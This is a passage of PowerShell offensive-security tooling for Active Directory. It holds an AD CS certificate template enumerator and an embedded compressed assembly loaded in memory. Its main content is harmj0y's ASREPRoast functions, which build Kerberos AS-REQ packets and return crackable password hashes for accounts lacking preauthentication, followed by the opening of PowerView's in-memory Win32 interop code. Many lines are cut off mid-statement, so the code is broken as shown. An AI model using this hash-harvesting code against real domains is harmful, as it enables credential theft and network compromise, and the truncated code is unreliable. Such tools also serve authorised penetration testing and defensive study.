.PARAMETER Domain
Specifies the domain to use for the query, defaults to the current domain.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER SSL
Switch. Specifies that encrypted LDAPS over port 636 is used.
.PARAMETER ResolveFlags
Instructs the script to translate the flag attributes to human readable values.
.PARAMETER IncludeACL
Includes the ACLs of the template in the returned template object.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.EXAMPLE
Get-ADCSTemplate -Domain contoso.com -Server dc.contoso.com -ResolveFlags
Description
-----------
Get's all templates from domain contoso.com, used a specific domain controller to rade templates from
.EXAMPLE
Get-ADCSTemplate -Name Template1 -ResolveFlags -IncludeACL
Description
-----------
Get's the template with the name "Template1", resolves flags and shows set ACL.
#>
[CmdletBinding()]
Param (
[Parameter(Position = 0, Mandatory = $false, ValueFromPipeline = $True, ValueFromPipelineByPr
[ValidateNotNullorEmpty()]
[String]
$Name,
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[Parameter(Mandatory = $false)]
[Switch]
$SSL,
[Parameter(Mandatory = $false)]
[ValidateNotNullorEmpty()]
[Switch]
$ResolveFlags,
[Parameter(Mandatory = $false)]
[ValidateNotNullorEmpty()]
[Switch]
$IncludeACL,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty,
[Parameter(Mandatory = $false)]
[ValidateNotNullorEmpty()]
[Switch]
$Raw
)
BEGIN {
# Building searcher arguments for the following PowerView requests
$SearcherArguments = @{}
if ($PSBoundParameters['Domain']) {
$SearcherArguments['Domain'] = $Domain
Write-Verbose "[Get-ADCSTemplate] Using '$($Domain)' as target Windows Domain"
}
if ($PSBoundParameters['Server']) {
$SearcherArguments['Server'] = $Server
Write-Verbose "[Get-ADCSTemplate] Using '$($Server)' as target Domain Controller"
}
if ($PSBoundParameters['SSL']) {
$SearcherArguments['SSL'] = $True
Write-Verbose "[Get-ADCSTemplate] Using LDAPS for search requests"
}
if ($PSBoundParameters['Credential']) {
Write-Warning "[Get-ADCSTemplate] Using PSCredential '$($Cred.Username)' for authenticatio
$LogonToken = Invoke-UserImpersonation -Credential $Credential
}
# Get Domain Object
$DomainName = get-domain @SearcherArguments
}
PROCESS {
# Add Values to Searcher Argument
$SearcherArguments['SearchBase'] = ("CN=Certificate Templates,CN=Public Key Services,CN=S
if ($PSBoundParameters['Name']) {
$SearcherArguments['LDAPFilter'] = ("(objectclass=pKICertificateTemplate)(name=" + $Name +
}
else {
$SearcherArguments['LDAPFilter'] = ("(objectclass=pKICertificateTemplate)")
}
if ($PSBoundParameters['Raw']) { $SearcherArguments['Raw'] = $Raw }
# Get Templates
$Templates = Get-DomainObject @SearcherArguments

$RefOidDCAuthTemplate = @("1.3.6.1.5.5.7.3.2", "1.3.6.1.5.5.7.3.1", "1.3.6.1.4.1.311.20.2.2")


$RefOidKerbAuthTemplate = @("1.3.6.1.5.5.7.3.2", "1.3.6.1.5.5.7.3.1", "1.3.6.1.4.1.311.20.2.2", "1

foreach($template in $Templates) {
$template | Add-Member -MemberType NoteProperty -Name DCAuthCert -Value $False

if($template.pkiextendedkeyusage) {
if($template.pkiextendedkeyusage.gettype().name -eq "String") {
$keyusage = @(,$template.pkiextendedkeyusage)
}
else {
$keyusage = new-object 'Object[]' $template.pkiextendedkeyusage.Count
$template.pkiextendedkeyusage.CopyTo($keyusage,0)
}

if((-not (compare-object $keyusage $RefOidDCAuthTemplate)) -or (-not (Compare-Object $ke


$template.DCAuthCert = $True
}
}
}

if($IncludeACL) {
$TemplatesACL = Get-ADCSTemplateACL @SearcherArguments
foreach($template in $Templates) {
$ACEs = $TemplatesACL | ? {$_.ObjectDN -eq $template.distinguishedname}
$template | Add-Member -MemberType NoteProperty -Name "ACL" -Value $ACEs
}
}
if($ResolveFlags) {
foreach($template in $Templates) {
$template | Add-Member -MemberType NoteProperty -Name "CertificateNameFlag" -Value $
$template | Add-Member -MemberType NoteProperty -Name "EnrollmentFlag" -Value $templ
$template | Add-Member -MemberType NoteProperty -Name "PrivateKeyFlag" -Value $templ
if ($template.pKIExtendedKeyUsage) {
$ExtendedKeyUsage = Convert-ADCSFlag -Attribute pKIExtendedKeyUsage-oid -Value $t
$template | Add-Member -MemberType NoteProperty -Name "ExtendedKeyUsage" -Value
}
}
}
$Templates
}
END {
if ($LogonToken) {
Invoke-RevertToSelf -TokenHandle $LogonToken
}
}
}
########################################################
#
# Kerberos-specific functions using BouncyCastle
#
# load up the slightly-stripped BouncyCastle library, adapted from https://github.com/bcgit/bc-csharp
# Copyright (c) 2000 - 2015 The Legion of the Bouncy Castle Inc. (http://www.bouncycastle.org)
# see LICENSE_Bouncy_Castles for license information
########################################################
$EncodedCompressedFile = @'
xL0LnBxFtT/e293Tj3nsTu/sds/uZnc2j12amdlHZiEsAZIoBCHyJuDsxmSTzRLYBTI4E0ATs8QXokIkuKA
lMwqvtvf00L9/Xb/9k03QGf0ZV1bkqIlB/+k8U8b/NmGJEaPTreHgGyX7HYAktWyo7IyJDtZOa8ofbKdlRU
iFKDqDVIZNbSumpLSw3KUprruh3NxXHc4BiGCkc11M5X7Do8Vx0Az0wdHkVKBcZVzpCpuZRdmj34B
uAOsy4H1n8Pb036H/eene2f956dj/adJrkT2qUUTnA3L7WRMJ/HiuagBKwm0dnTHLh2mlpg98IqRFWms
dYcQ6hhsIF+olco/BM27fZHelug+aK8G7iSZphQBU72hS64cSrlVFuEFoofx6zBVpgPqcgTwg9lvEUtULo
90ng1oB+zfH0WuklExzCcUmBajdg25wN8Tle26CBDBNq+WEYvO6ZqM52IjegtQ8BrpuGOVJ6HzZXEf7
VI3W/oRCC7yxd5emF17cZ/Zq6pC8vx0mcXWEzac4o3bPk0yX5nF3DeYOReu8aCxX98tlPmI790+htKg
'@
$DeflatedStream = New-Object IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBas
$UncompressedFileBytes = New-Object Byte[](1380352)
$DeflatedStream.Read($UncompressedFileBytes, 0, 1380352) | Out-Null
$Null = [Reflection.Assembly]::Load($UncompressedFileBytes)
########################################################
#
# Stuff by Will Schroeder (@harmj0y)
#
########################################################
function New-ASReq {
<#
.SYNOPSIS
Builds a RC4 specified KRB5 AS-REQ packet for the given domain\user.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: BouncyCastle
.DESCRIPTION
This function uses the BouncyCastle ASN.1 encoding library to build a customized KRB_KDC_REQ pa
The accepted encryption type is set to 23 (eTYPE-ARCFOUR-HMAC-MD5 / RC4).
KRB_KDC_REQ definition from RFC 1510 http://www.freesoft.org/CIE/RFC/1510/55.htm
AS-REQ ::= [APPLICATION 10] KDC-REQ
TGS-REQ ::= [APPLICATION 12] KDC-REQ
KDC-REQ ::= SEQUENCE {
pvno[1] INTEGER,
msg-type[2] INTEGER,
padata[3] SEQUENCE OF PA-DATA OPTIONAL,
req-body[4] KDC-REQ-BODY
}
PA-DATA ::= SEQUENCE {
padata-type[1] INTEGER,
padata-value[2] OCTET STRING,
-- might be encoded AP-REQ
}
KDC-REQ-BODY ::= SEQUENCE {
kdc-options[0] KDCOptions,
cname[1] PrincipalName OPTIONAL,
-- Used only in AS-REQ
realm[2] Realm, -- Server's realm
-- Also client's in AS-REQ
sname[3] PrincipalName OPTIONAL,
from[4] KerberosTime OPTIONAL,
till[5] KerberosTime,
rtime[6] KerberosTime OPTIONAL,
nonce[7] INTEGER,
etype[8] SEQUENCE OF INTEGER, -- EncryptionType,
-- in preference order
addresses[9] HostAddresses OPTIONAL,
enc-authorization-data[10] EncryptedData OPTIONAL,
-- Encrypted AuthorizationData encoding
additional-tickets[11] SEQUENCE OF Ticket OPTIONAL
}
.PARAMETER UserName
Specifies the user name to build the AS-REQ for.
.PARAMETER Domain
Specifies the domain to build the AS-REQ for.
.EXAMPLE
New-ASReq -UserName victim -Domain testlab.local
Returns the raw bytes for a kerberos AS-REQ packet encoded with [email protected].
.LINK
http://www.freesoft.org/CIE/RFC/1510/
#>
[CmdletBinding()]
Param (
[Parameter(Mandatory = $True)]
[ValidateNotNullOrEmpty()]
[Alias('User')]
[String]
$UserName,
[Parameter(Mandatory = $True)]
[ValidateNotNullOrEmpty()]
[String]
$Domain
)
###############################################
#
# AS-REQ header fields
#
###############################################
# kerberos protocol version number, must be 5 for windows
$pvno = New-Object Org.BouncyCastle.Asn1.DERTaggedObject 1, (New-Object Org.BouncyCastle.A
# msgtype = 10 -> krb-as-req
$msgtype = New-Object Org.BouncyCastle.Asn1.DERTaggedObject 2, (New-Object Org.BouncyCas
###############################################
#
# padata section
#
###############################################
# kRB5-PADATA-PA-PAC-REQUEST
$padatatype = New-Object Org.BouncyCastle.Asn1.DERTaggedObject 1, (New-Object Org.BouncyC
# bytes indicate include pac == true
$padata = New-Object Org.BouncyCastle.Asn1.DERTaggedObject 2, (New-Object Org.BouncyCastl
$PAElementDataSeq = New-Object Org.BouncyCastle.Asn1.DERSequence @($padatatype, $padat
# build the pdaata structure
$PADataSeq = New-Object Org.BouncyCastle.Asn1.DERTaggedObject 3, (New-Object Org.BouncyC
###############################################
#
# req-body section
#
###############################################
# options -> forwardable, renewable, renewable-ok
$kdcOption = New-Object Org.BouncyCastle.Asn1.DERTaggedObject 0, (New-Object Org.BouncyCa
# cname
# 1 = kRB5-NT-PRINCIPAL
$cnameType = New-Object Org.BouncyCastle.Asn1.DERTaggedObject 0, (New-Object Org.BouncyC
$cnameString = New-Object Org.BouncyCastle.Asn1.DERTaggedObject 1, (New-Object Org.Bouncy
$cname = New-Object Org.BouncyCastle.Asn1.DERTaggedObject 1, (New-Object Org.BouncyCastle
$realm = New-Object Org.BouncyCastle.Asn1.DERTaggedObject 2, (New-Object Org.BouncyCastle
# 2 = kRB5-NT-SRV-INST
$snameType = New-Object Org.BouncyCastle.Asn1.DERTaggedObject 0, (New-Object Org.BouncyC
$snameStringSeq = New-Object Org.BouncyCastle.Asn1.DERTaggedObject 1, (New-Object Org.Bou
$sname = New-Object Org.BouncyCastle.Asn1.DERTaggedObject 3, (New-Object Org.BouncyCastle
# timestamp from kekeo ;)
$till = New-Object Org.BouncyCastle.Asn1.DERTaggedObject 5, (New-Object Org.BouncyCastle.Asn
# mimikatz nonce ;)
$nonce = New-Object Org.BouncyCastle.Asn1.DERTaggedObject 7, (New-Object Org.BouncyCastle
# 23 = eTYPE-ARCFOUR-HMAC-MD5
$etype = New-Object Org.BouncyCastle.Asn1.DERTaggedObject 8, (New-Object Org.BouncyCastle.
# build the req-body structure
$ReqBodySeq = New-Object Org.BouncyCastle.Asn1.DERTaggedObject 4, (New-Object Org.Bounc
# put everything together for the final AS-REQ ASN.1 structure
$ASReqSeq = New-Object Org.BouncyCastle.Asn1.DERSequence @($pvno, $msgtype, $PADataSe
# add the app tag
$AppSeq = New-Object Org.BouncyCastle.Asn1.DERApplicationSpecific 10, $ASReqSeq
# prefix with the total length
$Encoded = $AppSeq.GetDerEncoded()
$LengthBytes = [System.BitConverter]::GetBytes($Encoded.Length)
[Array]::Reverse($LengthBytes)
$LengthBytes + $Encoded
}
function Get-ASREPHash {
<#
.SYNOPSIS
Returns a crackable hash for users withouth kerberos preauthentication enabled.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: New-ASReq, BouncyCastle
.DESCRIPTION
This function first enumerates the domain controller for the current (or pass -Domain) domain if -Server
It then uses New-ASReq to build a KRB_KDC_REQ packet for the passed -UserName and -Domain, w
not have kerberos preauthentication required ('(userAccountControl:1.2.840.113556.1.4.803:=4194304)
The constructed AS-REQ packet is then sent to port 88 on the resulting domain controller, and the Boun
If the returned kerberos message type is 11 (AS-REP), then BouncyCastle is used to extract out the cra
hash is output. If the returned kerberos message type is 30, meaning it's likely that preauth is required f
KRB_KDC_REP definition from RFC 1510 http://www.freesoft.org/CIE/RFC/1510/56.htm
AS-REP ::= [APPLICATION 11] KDC-REP
TGS-REP ::= [APPLICATION 13] KDC-REP
KDC-REP ::= SEQUENCE {
pvno[0] INTEGER,
msg-type[1] INTEGER,
padata[2] SEQUENCE OF PA-DATA OPTIONAL,
crealm[3] Realm,
cname[4] PrincipalName,
ticket[5] Ticket,
enc-part[6] EncryptedData
}
EncASRepPart ::= [APPLICATION 25[25]] EncKDCRepPart
EncTGSRepPart ::= [APPLICATION 26] EncKDCRepPart
EncKDCRepPart ::= SEQUENCE {
key[0] EncryptionKey,
last-req[1] LastReq,
nonce[2] INTEGER,
key-expiration[3] KerberosTime OPTIONAL,
flags[4] TicketFlags,
authtime[5] KerberosTime,
starttime[6] KerberosTime OPTIONAL,
endtime[7] KerberosTime,
renew-till[8] KerberosTime OPTIONAL,
srealm[9] Realm,
sname[10] PrincipalName,
caddr[11] HostAddresses OPTIONAL
}
KRB_ERROR definiation from RFC 1510 http://www.freesoft.org/CIE/RFC/1510/68.htm
KRB-ERROR ::= [APPLICATION 30] SEQUENCE {
pvno[0] INTEGER,
msg-type[1] INTEGER,
ctime[2] KerberosTime OPTIONAL,
cusec[3] INTEGER OPTIONAL,
stime[4] KerberosTime,
susec[5] INTEGER,
error-code[6] INTEGER,
crealm[7] Realm OPTIONAL,
cname[8] PrincipalName OPTIONAL,
realm[9] Realm, -- Correct realm
sname[10] PrincipalName, -- Correct name
e-text[11] GeneralString OPTIONAL,
e-data[12] OCTET STRING OPTIONAL
}
.PARAMETER UserName
Specifies the user name to send the AS-REQ for.
.PARAMETER Domain
Specifies the domain to retrieve a domain controller for.
.PARAMETER Server
Specifies a specific server (DC) to send the AS-REQ to.
.EXAMPLE
Get-ASREPHash -UserName victim
Returns a John-crackable AS-REP hash for the 'victim' user in the current domain.
.EXAMPLE
Get-ASREPHash -UserName victim -Domain dev.testlab.local
Returns a John-crackable AS-REP hash for the 'victim' user in the dev.testlab.local domain.
.EXAMPLE
Get-ASREPHash -UserName victim -Server primary.testlab.local -Domain testlab.local
Returns a John-crackable AS-REP hash for the '[email protected]' user by sending requests to the p
.LINK
http://www.freesoft.org/CIE/RFC/1510/
http://www.exumbraops.com/blog/2016/6/1/kerberos-party-tricks-weaponizing-kerberos-protocol-flaws
#>
[CmdletBinding()]
Param (
[Parameter(Mandatory = $True)]
[ValidateNotNullOrEmpty()]
[Alias('User')]
[String]
$UserName,
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[ValidateNotNullOrEmpty()]
[String]
$Server
)
$TargetDCIP = $Null
if ($PSBoundParameters['Server']) {
$TargetDC = $Server
$TargetDCIP = [System.Net.Dns]::GetHostAddresses($Server) | Where-Object {$_.AddressFamily
Write-Verbose "[Get-ASREPHash] DC server IP $($TargetDCIP) resolved from passed -Server pa
}
if ($PSBoundParameters['Domain']) {
if (-not $TargetDCIP) {
$TargetDomain = Get-Domain -Domain $Domain
$TargetDomainName = $TargetDomain.Name
$TargetDC = $TargetDomain.DomainControllers | Select-Object -First 1 | Select-Object -Expand
$TargetDCIP = [System.Net.Dns]::GetHostAddresses($TargetDC) | Where-Object {$_.AddressF
Write-Verbose "[Get-ASREPHash] DC server IP $($TargetDCIP) resolved from passed -Domain
}
else {
$TargetDomainName = $Domain
}
}
elseif ($Env:USERDNSDOMAIN -or (Get-WmiObject Win32_ComputerSystem).partofdomain) {
# otherwise check if the machine is currently part of a domain, and if so use the current domain
try {
$TargetDomain = Get-Domain
$TargetDomainName = $TargetDomain.Name
if (-not $TargetDCIP) {
$TargetDC = $TargetDomain.DomainControllers | Select-Object -First 1 | Select-Object -Expa
$TargetDCIP = [System.Net.Dns]::GetHostAddresses($TargetDC) | Where-Object {$_.Addres
Write-Verbose "[Get-ASREPHash] DC server name $($TargetDC) chosen from current doma
Write-Verbose "[Get-ASREPHash] DC server IP $($TargetDCIP) resolved from current doma
}
}
catch {
throw "[Get-ASREPHash] Error retrieving current domain : $_"
}
}
else {
throw '[Get-ASREPHash] Machine is not a part of a domain and -Domain not supplied'
}
$Address = [System.Net.IPAddress]::Parse($TargetDCIP)
$EndPoint = New-Object System.Net.IPEndPoint $Address, 88
$Socket = New-Object System.Net.Sockets.Socket ([System.Net.Sockets.AddressFamily]::InterNetw
$Socket.TTL = 128
$ASREQ = New-ASReq -UserName $UserName -Domain $TargetDomainName
try {
# connect to the KDC and send the appropriate packet
$Socket.Connect($EndPoint)
$BytesSent = $Socket.Send($ASREQ)
# Write-Verbose "[Get-ASREPHash] Bytes sent to '$TargetDCIP': $BytesSent"
Write-Verbose "[Get-ASREPHash] $BytesSent Bytes sent to '$TargetDC'"
# grab the response
$ResponseBuffer = New-Object System.Byte[] 2500
$BytesReceived = $Socket.Receive($ResponseBuffer)
Write-Verbose "[Get-ASREPHash] $BytesReceived Bytes received from '$TargetDC'"
}
catch {
throw "[Get-ASREPHash] Error sending AS-REQ to '$TargetDCIP' : $_"
}
$ResponseData = $ResponseBuffer[4..$($BytesReceived-1)]
$ASN1InputStream = New-Object -TypeName Org.BouncyCastle.Asn1.Asn1InputStream -Argument
$Object = $ASN1InputStream.ReadObject()
$Tag = $Object.ApplicationTag
if ($Tag -eq 30) {
Write-Warning "[Get-ASREPHash] ERR_PREAUTH_REQUIRED for '$($UserName)@$($TargetD
}
elseif ($Tag -eq 11) {
$EncSec = $Object.GetObject().GetObjects() | Where-Object {$_.TagNo -eq 6}
$Temp = $EncSec.GetObject() | Where-Object {$_.TagNo -eq 2}
$Hash = $Temp.GetObject().Parser.ToString().SubString(1).Insert(32, '$')
#"`$krb5asrep`$$($UserName)@$($TargetDomainName):$($Hash)"
# adjustment to get the hash working with hashcat
$Tag23 = '$23'
"`$krb5asrep$tag23`$$($UserName)@$($TargetDomainName):$($Hash)"
}
else {
Write-Warning "[Get-ASREPHash] Unknown tag number for '$($UserName)@$($TargetDomainNa
}
}
function Invoke-ASREPRoast {
<#
.SYNOPSIS
Enumerates any users in the current (or specified) domain without kerberos preauthentication enabled a
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-ASREPHash, Get-DomainSearcher
.DESCRIPTION
First uses Invoke-DomainSearcher (from PowerView) to return all user names in the current (or specifie
"Do not require kerberos preauthentication" enabled by using the LDAP filter '(userAccountControl:1.2.8
For each returned user, Get-ASREPHash is used to construct and send an appropriate KRB5 AS-REQ
crackable AS-REP, and the set of accounts and crackable hashes is returned.
.PARAMETER Domain
The domain to execute the attack on, defaults to the current domain.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to for the search and kerberos requests.
.PARAMETER TLS
Switch. Specifies that encrypted LDAPS over port 636 is used.
.EXAMPLE
Invoke-ASREPRoast | fl
Returns crackable hashes for users without kerberos preauth in the current domain.
.EXAMPLE
Invoke-ASREPRoast -Domain dev.testlab.local | fl
Returns crackable hashes for users without kerberos preauth in dev.testlab.local.
.EXAMPLE
Invoke-ASREPRoast -Server primary.testlab.local -Domain testlab.local | fl
Returns crackable hashes for users without kerberos preauth in testlab.local, binding to primary.testlab.
#>
[CmdletBinding()]
Param (
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[ValidateNotNullOrEmpty()]
[String]
$Server,
[Parameter(Mandatory = $false)]
[Switch]
$TLS
)
PROCESS {
$SearcherArguments = @{
'Properties' = 'samaccountname,distinguishedname'
}
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
if ($PSBoundParameters['TLS']) { $SearcherArguments['TLS'] = $True }
if ($PSBoundParameters['Domain']) {
$SearcherArguments['Domain'] = $Domain
$TargetDomain = Get-Domain -Domain $Domain
}
else {
$TargetDomain = Get-Domain
}
$TargetDomainName = $TargetDomain.Name
if ($PSBoundParameters['Server']) {
$TargetDCIP = [System.Net.Dns]::GetHostAddresses($Server) | Where-Object {$_.AddressFam
Write-Verbose "[Invoke-ASREPRoast] DC server IP $($TargetDCIP) resolved from passed -Ser
}
else {
$TargetDC = $TargetDomain.DomainControllers | Select-Object -First 1 | Select-Object -Expand
$TargetDCIP = [System.Net.Dns]::GetHostAddresses($TargetDC) | Where-Object {$_.AddressF
Write-Verbose "[Invoke-ASREPRoast] DC server IP $($TargetDCIP) resolved from passed -Dom
}
$ASREPHashArguments = @{}
$ASREPHashArguments['Domain'] = $TargetDomain
$ASREPHashArguments['Server'] = $TargetDCIP
# find all users without kerberos preauthentication enabled
$UserSearcher = Get-DomainSearcher @SearcherArguments
$UserSearcher.filter = "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4
Write-Verbose "[Invoke-ASREPRoast] LDAP filter: $($UserSearcher.filter)"
$Results = $UserSearcher.FindAll()
$Results | Where-Object {$_} | ForEach-Object {
# get the ASREPHash for this user
$ASREPHashArguments['User'] = $_.Properties.samaccountname
$ASREPHash = Get-ASREPHash @ASREPHashArguments
$Out = New-Object PSObject
$Out | Add-Member Noteproperty 'Finding' 'ASREPRoast - DONT_REQ_PREAUTH'
$Out | Add-Member Noteproperty 'SamAccountName' $_.Properties.samaccountname[0]
$Out | Add-Member Noteproperty 'DistinguishedName' $_.Properties.distinguishedname[0]
$Out | Add-Member Noteproperty 'Hashcat Usage' 'Hashcat --username -m 18200'
$Out | Add-Member Noteproperty 'Hash' $ASREPHash
$Out
Invoke-Logger -Class Finding -Value $ASREPHash
}
if ($Results) {
try { $Results.dispose() }
catch {
Write-Verbose "[Invoke-ASREPRoast] Error disposing of the results object: $_"
}
}
$UserSearcher.dispose()
}
}
########################################################
### Down here is the Poverview version of 0xe7
### https://github.com/0xe7/PowerSploit/tree/master/Recon/PowerView.ps1
### Commit from Jan 10,2023
########################################################
#requires -version 2
<#
PowerSploit File: PowerView.ps1
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: None
#>
########################################################
#
# PSReflect code for Windows API access
# Author: @mattifestation
# https://raw.githubusercontent.com/mattifestation/PSReflect/master/PSReflect.psm1
#
########################################################
function New-InMemoryModule {
<#
.SYNOPSIS
Creates an in-memory assembly and module
Author: Matthew Graeber (@mattifestation)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
.DESCRIPTION
When defining custom enums, structs, and unmanaged functions, it is
necessary to associate to an assembly module. This helper function
creates an in-memory module that can be passed to the 'enum',
'struct', and Add-Win32Type functions.
.PARAMETER ModuleName
Specifies the desired name for the in-memory assembly and module. If
ModuleName is not provided, it will default to a GUID.
.EXAMPLE
$Module = New-InMemoryModule -ModuleName Win32
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunc
[CmdletBinding()]
Param (
[Parameter(Position = 0)]
[ValidateNotNullOrEmpty()]
[String]
$ModuleName = [Guid]::NewGuid().ToString()
)
$AppDomain = [Reflection.Assembly].Assembly.GetType('System.AppDomain').GetProperty('Curren
$LoadedAssemblies = $AppDomain.GetAssemblies()
foreach ($Assembly in $LoadedAssemblies) {
if ($Assembly.FullName -and ($Assembly.FullName.Split(',')[0] -eq $ModuleName)) {
return $Assembly
}
}
$DynAssembly = New-Object Reflection.AssemblyName($ModuleName)
$Domain = $AppDomain
$AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, 'Run')
$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule($ModuleName, $False)
return $ModuleBuilder
}
# A helper function used to reduce typing while defining function
# prototypes for Add-Win32Type.
function func {
Param (
[Parameter(Position = 0, Mandatory = $True)]
[String]
$DllName,
[Parameter(Position = 1, Mandatory = $True)]
[string]
$FunctionName,
[Parameter(Position = 2, Mandatory = $True)]
[Type]
$ReturnType,
[Parameter(Position = 3)]
[Type[]]
$ParameterTypes,
[Parameter(Position = 4)]
[Runtime.InteropServices.CallingConvention]
$NativeCallingConvention,
[Parameter(Position = 5)]
[Runtime.InteropServices.CharSet]
$Charset,
[String]
$EntryPoint,
[Switch]
$SetLastError
)
$Properties = @{
DllName = $DllName
FunctionName = $FunctionName
ReturnType = $ReturnType
}
if ($ParameterTypes) { $Properties['ParameterTypes'] = $ParameterTypes }
if ($NativeCallingConvention) { $Properties['NativeCallingConvention'] = $NativeCallingConvention }
if ($Charset) { $Properties['Charset'] = $Charset }
if ($SetLastError) { $Properties['SetLastError'] = $SetLastError }
if ($EntryPoint) { $Properties['EntryPoint'] = $EntryPoint }
New-Object PSObject -Property $Properties
}
function Add-Win32Type
{
<#
.SYNOPSIS
Creates a .NET type for an unmanaged Win32 function.
Author: Matthew Graeber (@mattifestation)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: func
.DESCRIPTION
Add-Win32Type enables you to easily interact with unmanaged (i.e.
Win32 unmanaged) functions in PowerShell. After providing
Add-Win32Type with a function signature, a .NET type is created
using reflection (i.e. csc.exe is never called like with Add-Type).
The 'func' helper function can be used to reduce typing when defining
multiple function definitions.
.PARAMETER DllName
The name of the DLL.
.PARAMETER FunctionName
The name of the target function.
.PARAMETER EntryPoint
The DLL export function name. This argument should be specified if the
specified function name is different than the name of the exported
function.
.PARAMETER ReturnType
The return type of the function.
.PARAMETER ParameterTypes
The function parameters.
.PARAMETER NativeCallingConvention
Specifies the native calling convention of the function. Defaults to
stdcall.
.PARAMETER Charset
If you need to explicitly call an 'A' or 'W' Win32 function, you can
specify the character set.
.PARAMETER SetLastError
Indicates whether the callee calls the SetLastError Win32 API
function before returning from the attributed method.
.PARAMETER Module
The in-memory module that will host the functions. Use
New-InMemoryModule to define an in-memory module.
.PARAMETER Namespace
An optional namespace to prepend to the type. Add-Win32Type defaults
to a namespace consisting only of the name of the DLL.
.EXAMPLE
$Mod = New-InMemoryModule -ModuleName Win32
$FunctionDefinitions = @(
(func kernel32 GetProcAddress ([IntPtr]) @([IntPtr], [String]) -Charset Ansi -SetLastError),
(func kernel32 GetModuleHandle ([Intptr]) @([String]) -SetLastError),
(func ntdll RtlGetCurrentPeb ([IntPtr]) @())
)
$Types = $FunctionDefinitions | Add-Win32Type -Module $Mod -Namespace 'Win32'
$Kernel32 = $Types['kernel32']
$Ntdll = $Types['ntdll']
$Ntdll::RtlGetCurrentPeb()
$ntdllbase = $Kernel32::GetModuleHandle('ntdll')
$Kernel32::GetProcAddress($ntdllbase, 'RtlGetCurrentPeb')
.NOTES
Inspired by Lee Holmes' Invoke-WindowsApi http://poshcode.org/2189
When defining multiple function prototypes, it is ideal to provide
Add-Win32Type with an array of function signatures. That way, they
are all incorporated into the same in-memory module.
#>
[OutputType([Hashtable])]
Param(
[Parameter(Mandatory=$True, ValueFromPipelineByPropertyName=$True)]
[String]
$DllName,
[Parameter(Mandatory=$True, ValueFromPipelineByPropertyName=$True)]
[String]
$FunctionName,
[Parameter(ValueFromPipelineByPropertyName=$True)]
[String]
$EntryPoint,
[Parameter(Mandatory=$True, ValueFromPipelineByPropertyName=$True)]
[Type]
$ReturnType,
[Parameter(ValueFromPipelineByPropertyName=$True)]
[Type[]]
$ParameterTypes,
[Parameter(ValueFromPipelineByPropertyName=$True)]
[Runtime.InteropServices.CallingConvention]
$NativeCallingConvention = [Runtime.InteropServices.CallingConvention]::StdCall,
[Parameter(ValueFromPipelineByPropertyName=$True)]
[Runtime.InteropServices.CharSet]
$Charset = [Runtime.InteropServices.CharSet]::Auto,
[Parameter(ValueFromPipelineByPropertyName=$True)]
[Switch]
$SetLastError,
[Parameter(Mandatory=$True)]
[ValidateScript({($_ -is [Reflection.Emit.ModuleBuilder]) -or ($_ -is [Reflection.Assembly])})]
$Module,
[ValidateNotNull()]
[String]
$Namespace = ''
)
BEGIN
{
$TypeHash = @{}
}
PROCESS
{
if ($Module -is [Reflection.Assembly])
{
if ($Namespace)
{
$TypeHash[$DllName] = $Module.GetType("$Namespace.$DllName")
}
else
{
$TypeHash[$DllName] = $Module.GetType($DllName)
}
}
else
{
# Define one type for each DLL
if (!$TypeHash.ContainsKey($DllName))
{
if ($Namespace)
{
$TypeHash[$DllName] = $Module.DefineType("$Namespace.$DllName", 'Public,BeforeFie
}
else
{
$TypeHash[$DllName] = $Module.DefineType($DllName, 'Public,BeforeFieldInit')
}
}
$Method = $TypeHash[$DllName].DefineMethod(
$FunctionName,
'Public,Static,PinvokeImpl',
$ReturnType,
$ParameterTypes)
# Make each ByRef parameter an Out parameter
$i = 1
foreach($Parameter in $ParameterTypes)
{
if ($Parameter.IsByRef)
{
[void] $Method.DefineParameter($i, 'Out', $null)
}
$i++
}
$DllImport = [Runtime.InteropServices.DllImportAttribute]
$SetLastErrorField = $DllImport.GetField('SetLastError')
$CallingConventionField = $DllImport.GetField('CallingConvention')
$CharsetField = $DllImport.GetField('CharSet')
$EntryPointField = $DllImport.GetField('EntryPoint')
if ($SetLastError) { $SLEValue = $True } else { $SLEValue = $False }
if ($PSBoundParameters['EntryPoint']) { $ExportedFuncName = $EntryPoint } else { $ExportedF
# Equivalent to C# version of [DllImport(DllName)]
$Constructor = [Runtime.InteropServices.DllImportAttribute].GetConstructor([String])
$DllImportAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($Constructor,
$DllName, [Reflection.PropertyInfo[]] @(), [Object[]] @(),
[Reflection.FieldInfo[]] @($SetLastErrorField,
$CallingConventionField,
$CharsetField,
$EntryPointField),
[Object[]] @($SLEValue,
([Runtime.InteropServices.CallingConvention] $NativeCallingConvention),
([Runtime.InteropServices.CharSet] $Charset),
$ExportedFuncName))
$Method.SetCustomAttribute($DllImportAttribute)
}
}
END
{
